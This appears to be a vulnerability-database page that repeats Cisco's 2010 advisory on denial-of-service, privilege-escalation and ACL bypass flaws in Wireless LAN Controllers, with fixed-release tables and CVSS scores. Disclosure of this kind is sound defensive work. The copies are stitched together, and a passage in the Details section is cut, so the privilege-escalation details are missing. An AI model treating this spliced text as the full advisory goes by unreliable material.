| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| Privilege Escalation Vulnerabilities | 4.2M | 4.2.207.54M |
| (CSCtc91431, CSCsz66726, and |----------+---------------|
| CSCtc93837) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.207.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| ACL Bypass Vulnerabilities (CSCta66931 | | Vulnerable; |
| and CSCtf36051) | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 6.0 | 6.0.199.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
+-------------------------------------------------------------------+
Recommended Releases
~~~~~~~~~~~~~~~~~~~~
The "Recommended Release" table lists the releases which have fixes
for all the published vulnerabilities at the time of this Advisory.
Cisco recommends upgrading to a release equal to or later than the
release in the "Recommended Releases" table.
+-------------------------------------------------------------------+
| Affected Release | Recommended Release |
|----------------------+--------------------------------------------|
| 3.2 | 3.2.215.0 |
|----------------------+--------------------------------------------|
| 4.1 | Vulnerable; Migrate to 4.2 |
|----------------------+--------------------------------------------|
| 4.1M | Vulnerable; Migrate to 4.2M |
|----------------------+--------------------------------------------|
| 4.2 | 4.2.209.0 |
|----------------------+--------------------------------------------|
| 4.2M | 4.2.207.54M |
|----------------------+--------------------------------------------|
| 5.0 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.1 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.2 | Non FIPS Customers migrate to 6.0 |
|----------------------+--------------------------------------------|
| 6.0 | 6.0.199.4 |
|----------------------+--------------------------------------------|
| 7.0 | Not Vulnerable |
+-------------------------------------------------------------------+
Note: Cisco WLC Software version 5.2.193.11 is a FIPS certified
image. Customers not running FIPS images are recommended to migrate
to Cisco WLC software 6.0.199.4 or later.
Customers running 4.1M with a mixture of LAP1505/LAP1510 and LAP1522/
LAP1524 units will need to refer to the Mesh and Mainstream Releases
on the Controller section of the document Cisco Wireless Mesh Access
Points, Design and Deployment Guide, Release 7.0.
Workarounds
===========
There are no available workarounds to mitigate any of these
vulnerabilities.
Additional mitigations that can be deployed on Cisco devices in the
network are available in the Cisco Applied Mitigation Bulletin
companion document for this advisory, which is available at the
following link:
http://www.cisco.com/warp/public/707/cisco-amb-20100908-wlc.shtml
Obtaining Fixed Software
========================
Cisco has released free software updates that address these
vulnerabilities. Prior to deploying software, customers should
consult their maintenance provider or check the software for feature
set compatibility and known issues specific to their environment.
Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound
by the terms of Cisco's software license terms found at:
http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html
or as otherwise set forth at Cisco.com Downloads at:
http://www.cisco.com/public/sw-center/sw-usingswc.shtml
Do not contact psirt@cisco.com or security-alert@cisco.com for
software upgrades.
Customers with Service Contracts
+-------------------------------
Customers with contracts should obtain upgraded software through
their regular update channels. For most customers, this means that
upgrades should be obtained through the Software Center on Cisco's
worldwide website at http://www.cisco.com.
Customers without Service Contracts
+----------------------------------
Customers who purchase direct from Cisco but do not hold a Cisco
service contract, and customers who purchase through third-party
vendors but are unsuccessful in obtaining fixed software through
their point of sale should acquire upgrades by contacting the Cisco
Technical Assistance Center (TAC). TAC contacts are as follows.
* +1 800 553 2447 (toll free from within North America)
* +1 408 526 7209 (toll call from anywhere in the world)
* e-mail: tac@cisco.com
Customers should have their product serial number available and be
prepared to give the URL of this notice as evidence of entitlement to
a free upgrade. Free upgrades for non-contract customers must be
requested through the TAC.
Refer to:
http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html
for additional TAC contact information, including localized telephone
numbers, and instructions and e-mail addresses for use in various
languages.
Exploitation and Public Announcements
=====================================
The Cisco PSIRT is not aware of any public announcements or malicious
use of the vulnerabilities described in this advisory.
These vulnerabilities were found during internal testing and during
the troubleshooting of customer service requests.
Status of this Notice: FINAL
============================
THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
DOCUMENT AT ANY TIME.
A stand-alone copy or Paraphrase of the text of this document that
omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain
factual errors.
Distribution
============
This advisory is posted on Cisco's worldwide website at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
In addition to worldwide web posting, a text version of this notice
is clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.
* cust-security-announce@cisco.com
* first-bulletins@lists.first.org
* bugtraq@securityfocus.com
* vulnwatch@vulnwatch.org
* cisco@spot.colorado.edu
* cisco-nsp@puck.nether.net
* full-disclosure@lists.grok.org.uk
* comp.dcom.sys.cisco@newsgate.cisco.com
Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on
mailing lists or newsgroups. Users concerned about this problem are
encouraged to check the above URL for any updates.
Revision History
================
+-----------------------------------------+
| Revision | | Initial |
| 1.0 | 2010-September-08 | public |
| | | release. |
+-----------------------------------------+
Cisco Security Procedures
=========================
Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at:
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
This includes instructions for press inquiries regarding Cisco
security notices. All Cisco security advisories are available at:
http://www.cisco.com/go/psirt
-----BEGIN PGP SIGNATURE-----
iD8DBQFMh6MB86n/Gc8U/uARAkAoAJ49gL4UWcPviOVj7qBoEjTA0tLQ4QCfTlem
QI2QHDaZGejlgOifWafhaW8=
=518m
-----END PGP SIGNATURE-----
| VAR-201009-0276 | CVE-2010-3033 | Cisco WLC Vulnerable to access restrictions |
CVSS V2: 9.0 CVSS V3: - Severity: HIGH |
Cisco Wireless LAN Controller (WLC) software, possibly 4.2 through 6.0, allows remote authenticated users to bypass intended access restrictions and modify the configuration, and possibly obtain administrative privileges, via unspecified vectors, a different vulnerability than CVE-2010-2842 and CVE-2010-2843. This issue is tracked by Cisco Bug ID CSCtc93837. This may lead to a full compromise of the affected device or aid in further attacks.
Wireless LAN Controller firmware 4.2 and later are affected. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Cisco Security Advisory: Multiple Vulnerabilities in Cisco Wireless
LAN Controllers
Advisory ID: cisco-sa-20100908-wlc
Revision 1.0
For Public Release 2010 September 08 1600 UTC (GMT)
+---------------------------------------------------------------------
Summary
=======
The Cisco Wireless LAN Controller (WLC) product family is affected by
these vulnerabilities:
* Two denial of service (DoS) vulnerabilities
* Three privilege escalation vulnerabilities
* Two access control list (ACL) bypass vulnerabilities
Note: These vulnerabilities are independent of one another.
Cisco has released free software updates that address these
vulnerabilities.
There are no workarounds to mitigate these vulnerabilities.
This advisory is posted at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
Affected Products
=================
Vulnerable Products
+------------------
These products are each affected by at least one vulnerability
covered in this Security Advisory:
* Cisco 2000 Series WLCs
* Cisco 2100 Series WLCs
* Cisco 4100 Series WLCs
* Cisco 4400 Series WLCs
* Cisco 5500 Series WLCs
* Cisco Wireless Services Modules (WiSMs)
* Cisco WLC Modules for Integrated Services Routers (ISRs)
* Cisco Catalyst 3750G Integrated WLCs
DoS Vulnerabilities
~~~~~~~~~~~~~~~~~~~
The Cisco WLC product family is affected by two DoS vulnerabilities:
* Internet Key Exchange (IKE) DoS Vulnerability
* HTTP DoS Vulnerability
The IKE DoS vulnerability affects Cisco WLC software versions 3.2 and
later. The HTTP DoS vulnerability affects Cisco WLC software versions
4.2 and later.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The privilege escalation vulnerabilities affect Cisco WLC software
versions 4.2 and later.
CPU ACL Bypass Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
One of the two ACL bypass vulnerabilities affects Cisco WLC software
versions 4.1 and later. The second ACL bypass vulnerability affects
Cisco WLC software versions 6.0.x.
Determination of Software Versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Administrators can use these instructions to determine the software
version that is running on the Cisco WLCs (using the web or
command-line interface) or on the Cisco WiSM (using commands on the
Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router).
Cisco Wireless Controllers
~~~~~~~~~~~~~~~~~~~~~~~~~~
To determine the WLC version that is running in a given environment,
use one of these methods:
* In the web interface, choose the "Monitor" tab, click "Summary" in
the left pane, and note the "Software" Version field.
Note: Customers who use a Cisco WLC Module in an ISR will need to
issue the "service-module wlan-controller <slot/port> session" command
prior to performing the next step on the command line. Customers who
use a Cisco Catalyst 3750G Switch with an integrated WLC Module will
need to issue the "session <Stack-Member-Number> processor 1 session"
command prior to performing the next step on the command line.
* From the command-line interface, type "show sysinfo" and note the
"Product Version" field, as shown in this example:
(Cisco Controller)> show sysinfo
Manufacturer's Name.. Cisco Systems Inc.
Product Name......... Cisco Controller
Product Version...... 5.1.151.0
RTOS Version......... Linux-2.6.10_mvl401
Bootloader Version... 4.0.207.0
Build Type........... DATA + WPS
<output suppressed>
Cisco WiSMs
~~~~~~~~~~~
Use the "show wism module <module number> controller 1 status" command
on a Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router
if they are using a WiSM. Note the software version as demonstrated
in this example, which shows version 5.1.151.0:
Router# show wism module 3 controller 1 status
WiSM Controller 1 in Slot 3
Operational Status of the Controller
: Oper-Up
Service VLAN
: 192
Service Port
: 10
Service Port Mac Address
: 0011.92ff.8742
Service IP Address
: 192.168.10.1
Management IP Address
: 192.168.1.123
Software Version
: 5.1.151.0
Port Channel Number
: 288
Allowed vlan list
: 30,40
Native VLAN ID
: 40
WCP Keep Alive Missed
: 0
Products Confirmed Not Vulnerable
+--------------------------------
No other Cisco products are currently known to be affected by these
vulnerabilities.
Details
=======
Cisco WLCs and Cisco WiSMs are responsible for system-wide wireless
LAN functions, such as security policies, intrusion prevention, RF
management, quality of service (QoS), and mobility. The following are the details
about these vulnerabilities.
IKE Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An attacker with the ability to send a malicious IKE packet to an
affected Cisco WLC could cause the device to crash and reload. This
vulnerability can be exploited from both wired and wireless segments.
Note: IKE is enabled by default in the WLC and cannot be disabled.
Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability.
HTTP Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An authenticated attacker with the ability to send a series of
malicious HTTP packets to an affected Cisco WLC could cause the
device to reload. This vulnerability can be exploited from both wired
and wireless segments. A TCP three-way handshake is needed in order
to exploit this vulnerability.
Note: Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability.
WebAuth or guest access is not affected by this vulnerability. After ACLs are defined, they can be applied to
the management interface, the access point manager (AP-manager)
interface, or any of the dynamic interfaces for client data traffic
or to the Network Processing Unit (NPU) interface for traffic to the
controller CPU. Two vulnerabilities exist in the Cisco WLCs that
could allow an unauthenticated attacker to bypass policies that
should be enforced by CPU-based ACLs. No other ACL types are affected
by these vulnerabilities.
Note: CPU-based ACLs are configured and applied by navigating to
Security > Access Control Lists > CPU Access Control Lists in the
Cisco WLC web management interface. When CPU-based ACLs are enabled,
they are applicable to both wireless and wired traffic.
Vulnerability Scoring Details
=============================
Cisco has provided scores for the vulnerabilities in this advisory
based on the Common Vulnerability Scoring System (CVSS). The CVSS
scoring in this Security Advisory is done in accordance with CVSS
version 2.0.
CVSS is a standards-based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.
Cisco has provided a base and temporal score. Customers can then
compute environmental scores to assist in determining the impact of
the vulnerability in individual networks.
Cisco has provided an FAQ to answer additional questions regarding
CVSS at:
http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html
Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at:
http://intellishield.cisco.com/security/alertmanager/cvss
CSCta56653 - WLC may reload when receiving crafted IKE packets
CVSS Base Score - 7.8
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 6.4
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtd16938 - WLC crash after passing invalid arguments to emweb
CVSS Base Score - 6.8
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 5.6
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtc91431, CSCsz66726, and CSCtc93837- Privilege Escalation vulnerabilities
CVSS Base Score - 9.0
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - Complete
Integrity Impact - Complete
Availability Impact - Complete
CVSS Temporal Score - 7.8
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCta66931, CSCtf36051 - CPU ACL bypass vulnerabilities
CVSS Base Score - 5.0
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - Partial
Integrity Impact - None
Availability Impact - None
CVSS Temporal Score - 4.1
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
Impact
======
Successful exploitation of the DoS vulnerabilities could cause an
affected device to reload. Repeated exploitation could result in a
sustained DoS condition.
Successful exploitation of the ACL bypass vulnerabilities could allow
an attacker to bypass policies that should be enforced by CPU-based
ACLs.
Software Versions and Fixes
===========================
When considering software upgrades, also consult:
http://www.cisco.com/go/psirt
and any subsequent advisories to determine exposure and a complete
upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
If a given release train is vulnerable, then the earliest possible
releases that contain the fix (along with the anticipated date of
availability for each, if applicable) are listed in the "First Fixed
Release" column of the table. A device running a release in the given
train that is earlier than the release in a specific column (less
than the First Fixed Release) is known to be vulnerable.
+-------------------------------------------------------------------+
| Vulnerability/Bug ID | Affected | First Fixed |
| | Release | Version |
|----------------------------------------+----------+---------------|
| | 3.2 | 3.2.215.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.205.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| IKE DoS Vulnerability (CSCta56653) |----------+---------------|
| | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| HTTP DoS Vulnerability (CSCtd16938) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.196.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| Privilege Escalation Vulnerabilities | 4.2M | 4.2.207.54M |
| (CSCtc91431, CSCsz66726, and |----------+---------------|
| CSCtc93837) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.207.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| ACL Bypass Vulnerabilities (CSCta66931 | | Vulnerable; |
| and CSCtf36051) | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 6.0 | 6.0.199.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
+-------------------------------------------------------------------+
Recommended Releases
~~~~~~~~~~~~~~~~~~~~
The "Recommended Release" table lists the releases which have fixes
for all the published vulnerabilities at the time of this Advisory.
Cisco recommends upgrading to a release equal to or later than the
release in the "Recommended Releases" table.
+-------------------------------------------------------------------+
| Affected Release | Recommended Release |
|----------------------+--------------------------------------------|
| 3.2 | 3.2.215.0 |
|----------------------+--------------------------------------------|
| 4.1 | Vulnerable; Migrate to 4.2 |
|----------------------+--------------------------------------------|
| 4.1M | Vulnerable; Migrate to 4.2M |
|----------------------+--------------------------------------------|
| 4.2 | 4.2.209.0 |
|----------------------+--------------------------------------------|
| 4.2M | 4.2.207.54M |
|----------------------+--------------------------------------------|
| 5.0 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.1 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.2 | Non FIPS Customers migrate to 6.0 |
|----------------------+--------------------------------------------|
| 6.0 | 6.0.199.4 |
|----------------------+--------------------------------------------|
| 7.0 | Not Vulnerable |
+-------------------------------------------------------------------+
Note: Cisco WLC Software version 5.2.193.11 is a FIPS certified
image. Customers not running FIPS images are recommended to migrate
to Cisco WLC software 6.0.199.4 or later.
Customers running 4.1M with a mixture of LAP1505/LAP1510 and LAP1522/
LAP1524 units will need to refer to the Mesh and Mainstream Releases
on the Controller section of the document Cisco Wireless Mesh Access
Points, Design and Deployment Guide, Release 7.0.
Workarounds
===========
There are no available workarounds to mitigate any of these
vulnerabilities.
Additional mitigations that can be deployed on Cisco devices in the
network are available in the Cisco Applied Mitigation Bulletin
companion document for this advisory, which is available at the
following link:
http://www.cisco.com/warp/public/707/cisco-amb-20100908-wlc.shtml
Obtaining Fixed Software
========================
Cisco has released free software updates that address these
vulnerabilities. Prior to deploying software, customers should
consult their maintenance provider or check the software for feature
set compatibility and known issues specific to their environment.
Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound
by the terms of Cisco's software license terms found at:
http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html
or as otherwise set forth at Cisco.com Downloads at:
http://www.cisco.com/public/sw-center/sw-usingswc.shtml
Do not contact psirt@cisco.com or security-alert@cisco.com for
software upgrades.
Customers with Service Contracts
+-------------------------------
Customers with contracts should obtain upgraded software through
their regular update channels. For most customers, this means that
upgrades should be obtained through the Software Center on Cisco's
worldwide website at http://www.cisco.com.
Customers without Service Contracts
+----------------------------------
Customers who purchase direct from Cisco but do not hold a Cisco
service contract, and customers who purchase through third-party
vendors but are unsuccessful in obtaining fixed software through
their point of sale should acquire upgrades by contacting the Cisco
Technical Assistance Center (TAC). TAC contacts are as follows.
* +1 800 553 2447 (toll free from within North America)
* +1 408 526 7209 (toll call from anywhere in the world)
* e-mail: tac@cisco.com
Customers should have their product serial number available and be
prepared to give the URL of this notice as evidence of entitlement to
a free upgrade. Free upgrades for non-contract customers must be
requested through the TAC.
Refer to:
http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html
for additional TAC contact information, including localized telephone
numbers, and instructions and e-mail addresses for use in various
languages.
Exploitation and Public Announcements
=====================================
The Cisco PSIRT is not aware of any public announcements or malicious
use of the vulnerabilities described in this advisory.
These vulnerabilities were found during internal testing and during
the troubleshooting of customer service requests.
Status of this Notice: FINAL
============================
THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
DOCUMENT AT ANY TIME.
A stand-alone copy or Paraphrase of the text of this document that
omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain
factual errors.
Distribution
============
This advisory is posted on Cisco's worldwide website at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
In addition to worldwide web posting, a text version of this notice
is clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.
* cust-security-announce@cisco.com
* first-bulletins@lists.first.org
* bugtraq@securityfocus.com
* vulnwatch@vulnwatch.org
* cisco@spot.colorado.edu
* cisco-nsp@puck.nether.net
* full-disclosure@lists.grok.org.uk
* comp.dcom.sys.cisco@newsgate.cisco.com
Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on
mailing lists or newsgroups. Users concerned about this problem are
encouraged to check the above URL for any updates.
Revision History
================
+-----------------------------------------+
| Revision | | Initial |
| 1.0 | 2010-September-08 | public |
| | | release. |
+-----------------------------------------+
Cisco Security Procedures
=========================
Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at:
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
This includes instructions for press inquiries regarding Cisco
security notices. All Cisco security advisories are available at:
http://www.cisco.com/go/psirt
-----BEGIN PGP SIGNATURE-----
iD8DBQFMh6MB86n/Gc8U/uARAkAoAJ49gL4UWcPviOVj7qBoEjTA0tLQ4QCfTlem
QI2QHDaZGejlgOifWafhaW8=
=518m
-----END PGP SIGNATURE-----
| VAR-201009-0062 | CVE-2010-2843 | Cisco WLC Vulnerable to access restrictions |
CVSS V2: 9.0 CVSS V3: - Severity: HIGH |
Cisco Wireless LAN Controller (WLC) software, possibly 4.2 through 6.0, allows remote authenticated users to bypass intended access restrictions and modify the configuration, and possibly obtain administrative privileges, via unspecified vectors, a different vulnerability than CVE-2010-2842 and CVE-2010-3033. This issue is tracked by Cisco Bug ID CSCsz66726. This may lead to a full compromise of the affected device or aid in further attacks.
Wireless LAN Controller firmware 4.2 and later are affected. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Cisco Security Advisory: Multiple Vulnerabilities in Cisco Wireless
LAN Controllers
Advisory ID: cisco-sa-20100908-wlc
Revision 1.0
For Public Release 2010 September 08 1600 UTC (GMT)
+---------------------------------------------------------------------
Summary
=======
The Cisco Wireless LAN Controller (WLC) product family is affected by
these vulnerabilities:
* Two denial of service (DoS) vulnerabilities
* Three privilege escalation vulnerabilities
* Two access control list (ACL) bypass vulnerabilities
Note: These vulnerabilities are independent of one another.
Cisco has released free software updates that address these
vulnerabilities.
There are no workarounds to mitigate these vulnerabilities.
This advisory is posted at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
Affected Products
=================
Vulnerable Products
+------------------
These products are each affected by at least one vulnerability
covered in this Security Advisory:
* Cisco 2000 Series WLCs
* Cisco 2100 Series WLCs
* Cisco 4100 Series WLCs
* Cisco 4400 Series WLCs
* Cisco 5500 Series WLCs
* Cisco Wireless Services Modules (WiSMs)
* Cisco WLC Modules for Integrated Services Routers (ISRs)
* Cisco Catalyst 3750G Integrated WLCs
DoS Vulnerabilities
~~~~~~~~~~~~~~~~~~~
The Cisco WLC product family is affected by two DoS vulnerabilities:
* Internet Key Exchange (IKE) DoS Vulnerability
* HTTP DoS Vulnerability
The IKE DoS vulnerability affects Cisco WLC software versions 3.2 and
later. The HTTP DoS vulnerability affects Cisco WLC software versions
4.2 and later.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The privilege escalation vulnerabilities affect Cisco WLC software
versions 4.2 and later.
CPU ACL Bypass Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
One of the two ACL bypass vulnerabilities affects Cisco WLC software
versions 4.1 and later. The second ACL bypass vulnerability affects
Cisco WLC software versions 6.0.x.
Determination of Software Versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Administrators can use these instructions to determine the software
version that is running on the Cisco WLCs (using the web or
command-line interface) or on the Cisco WiSM (using commands on the
Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router).
Cisco Wireless Controllers
~~~~~~~~~~~~~~~~~~~~~~~~~~
To determine the WLC version that is running in a given environment,
use one of these methods:
* In the web interface, choose the "Monitor" tab, click "Summary" in
the left pane, and note the "Software" Version field.
Note: Customers who use a Cisco WLC Module in an ISR will need to
issue the "service-module wlan-controller <slot/port> session" command
prior to performing the next step on the command line. Customers who
use a Cisco Catalyst 3750G Switch with an integrated WLC Module will
need to issue the "session <Stack-Member-Number> processor 1 session"
command prior to performing the next step on the command line.
* From the command-line interface, type "show sysinfo" and note the
"Product Version" field, as shown in this example:
(Cisco Controller)> show sysinfo
Manufacturer's Name.. Cisco Systems Inc.
Product Name......... Cisco Controller
Product Version...... 5.1.151.0
RTOS Version......... Linux-2.6.10_mvl401
Bootloader Version... 4.0.207.0
Build Type........... DATA + WPS
<output suppressed>
Cisco WiSMs
~~~~~~~~~~~
Use the "show wism module <module number> controller 1 status" command
on a Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router
if they are using a WiSM. Note the software version as demonstrated
in this example, which shows version 5.1.151.0:
Router# show wism module 3 controller 1 status
WiSM Controller 1 in Slot 3
Operational Status of the Controller
: Oper-Up
Service VLAN
: 192
Service Port
: 10
Service Port Mac Address
: 0011.92ff.8742
Service IP Address
: 192.168.10.1
Management IP Address
: 192.168.1.123
Software Version
: 5.1.151.0
Port Channel Number
: 288
Allowed vlan list
: 30,40
Native VLAN ID
: 40
WCP Keep Alive Missed
: 0
Products Confirmed Not Vulnerable
+--------------------------------
No other Cisco products are currently known to be affected by these
vulnerabilities.
Details
=======
Cisco WLCs and Cisco WiSMs are responsible for system-wide wireless
LAN functions, such as security policies, intrusion prevention, RF
management, quality of service (QoS), and mobility. The following are the details
about these vulnerabilities.
IKE Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An attacker with the ability to send a malicious IKE packet to an
affected Cisco WLC could cause the device to crash and reload. This
vulnerability can be exploited from both wired and wireless segments.
Note: IKE is enabled by default in the WLC and cannot be disabled.
Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability.
HTTP Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An authenticated attacker with the ability to send a series of
malicious HTTP packets to an affected Cisco WLC could cause the
device to reload. This vulnerability can be exploited from both wired
and wireless segments. A TCP three-way handshake is needed in order
to exploit this vulnerability.
Note: Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability.
WebAuth or guest access is not affected by this vulnerability. After ACLs are defined, they can be applied to
the management interface, the access point manager (AP-manager)
interface, or any of the dynamic interfaces for client data traffic
or to the Network Processing Unit (NPU) interface for traffic to the
controller CPU. Two vulnerabilities exist in the Cisco WLCs that
could allow an unauthenticated attacker to bypass policies that
should be enforced by CPU-based ACLs. No other ACL types are affected
by these vulnerabilities.
Note: CPU-based ACLs are configured and applied by navigating to
Security > Access Control Lists > CPU Access Control Lists in the
Cisco WLC web management interface. When CPU-based ACLs are enabled,
they are applicable to both wireless and wired traffic.
Vulnerability Scoring Details
=============================
Cisco has provided scores for the vulnerabilities in this advisory
based on the Common Vulnerability Scoring System (CVSS). The CVSS
